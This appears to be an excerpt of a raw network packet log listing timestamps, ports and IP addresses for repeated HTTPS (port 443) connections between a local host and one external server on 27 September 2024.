Sep 27, 2024 08:18:51.703999996 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.717114925 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.717164040 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.717232943 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.718241930 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.718251944 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.718311071 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.718780041 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.718792915 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.719429016 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.719434977 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.733469963 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.733499050 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.733566999 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.734555006 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.734569073 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.896255970 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.896317959 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:51.896397114 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.897438049 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:51.897455931 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.233149052 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.248661041 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.248682022 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.249871016 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.261964083 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.261964083 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.261980057 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.262139082 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.297610998 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.308439970 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.314140081 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.335941076 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.337519884 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.340260029 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.340286016 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.340461016 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.340481043 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.340899944 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.341932058 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.342113018 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.351443052 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.351458073 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.352442980 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.352571011 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.354592085 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.357698917 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.357795000 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.364249945 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.364398956 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.385406971 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.385418892 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.387784958 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.387847900 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.388391018 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.388446093 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.388493061 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.388500929 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.388504028 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.389198065 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.389297009 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.390350103 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.390585899 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.431974888 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.431974888 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.431977034 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.431988955 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.435420036 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.476409912 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.489707947 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.493412018 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.493444920 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.494446993 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.494519949 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.502111912 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.502176046 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.502778053 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.502793074 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.555275917 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.873948097 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.874125957 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.874567986 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.874589920 CEST	443	49763	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.874667883 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.874777079 CEST	49763	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.980160952 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.980241060 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:52.980448008 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.981405973 CEST	49764	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:52.981455088 CEST	443	49764	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.071218967 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.071338892 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.071429968 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.071986914 CEST	49765	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.072000980 CEST	443	49765	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390126944 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390150070 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390156984 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390202999 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390228987 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.390243053 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390270948 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390304089 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.390322924 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.390322924 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.390322924 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.390382051 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.391158104 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.391174078 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.391227961 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.391237020 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.391278028 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.476844072 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.476862907 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.476907969 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.476926088 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.476950884 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.476969004 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.476972103 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.477056026 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.478878975 CEST	49768	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.478897095 CEST	443	49768	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506330967 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506356955 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506366968 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506386995 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506397009 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506413937 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.506428003 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506463051 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.506488085 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.506488085 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.509629011 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.509706974 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.509896994 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.509897947 CEST	443	49767	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.509948969 CEST	49767	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.539364100 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.539397001 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:53.539460897 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.540575027 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:53.540586948 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.135998011 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.141711950 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.141727924 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.145303965 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.145391941 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.147855043 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.148027897 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.148514032 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.194828987 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.194842100 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.242778063 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.892419100 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.892479897 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.892499924 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.892541885 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.892564058 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.892591000 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.892602921 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.892647028 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.892863989 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.932765961 CEST	49769	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.932790041 CEST	443	49769	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.991329908 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.991369009 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.991503000 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.992280960 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.992372990 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.992507935 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.992522001 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:54.992543936 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.992703915 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:54.992750883 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.591742039 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.601624966 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.612627029 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.612663984 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.612767935 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.612792015 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.613055944 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.614191055 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.616009951 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.616231918 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.616822004 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.616911888 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.617000103 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.617157936 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:55.659404993 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:55.659408092 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.323246956 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.358906984 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.358959913 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.359040976 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.359056950 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.359126091 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.359199047 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.360539913 CEST	49770	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.360562086 CEST	443	49770	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.364475965 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.435560942 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435570955 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435606956 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435620070 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435628891 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.435633898 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435645103 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435671091 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.435697079 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.435709953 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435725927 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.435754061 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.435776949 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.436135054 CEST	49771	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.436151981 CEST	443	49771	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.445697069 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.445715904 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.445774078 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.448093891 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.448110104 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.449039936 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.449048996 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.449101925 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.449353933 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.449366093 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.481442928 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.481538057 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:56.481621981 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.481802940 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:56.481857061 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.037509918 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.037846088 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.037863016 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.038220882 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.038605928 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.038695097 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.038785934 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.038800001 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.049880028 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.050113916 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.050122976 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.050447941 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.050744057 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.050806999 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.050892115 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.081707954 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.081923962 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.081993103 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.083009958 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.083085060 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.083445072 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.083509922 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.083522081 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.088943958 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.095402956 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.127434969 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.135730982 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.135791063 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.182593107 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.726423979 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.742556095 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.746211052 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.746438026 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.746490955 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.747605085 CEST	49774	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.747629881 CEST	443	49774	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.773372889 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.789304972 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.848747015 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848757029 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848788977 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848799944 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848814964 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848828077 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.848875999 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848901987 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.848906994 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.848974943 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.849617004 CEST	49775	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.849647999 CEST	443	49775	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.911020041 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.911031008 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.911051989 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.911617994 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.960488081 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.998512983 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998526096 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998568058 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998583078 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998594046 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998634100 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:57.998642921 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:57.998703957 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.029997110 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.030008078 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.030024052 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.030031919 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.030078888 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.030093908 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.030122995 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.030148983 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.084068060 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.084079981 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.084131002 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.084168911 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.084187984 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.084212065 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.084314108 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.085416079 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.085479021 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.085484028 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116025925 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116054058 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116128922 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.116158962 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116188049 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.116902113 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116925001 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116961002 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.116971016 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.116982937 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.170070887 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.170603991 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.170614958 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.170649052 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.170697927 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.170711040 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.170720100 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.170747995 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.170770884 CEST	49773	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:18:58.171813011 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.171832085 CEST	443	49773	206.206.125.198	192.168.2.5
Sep 27, 2024 08:18:58.171885967 CEST	49773	443	192.168.2.5	206.206.125.198
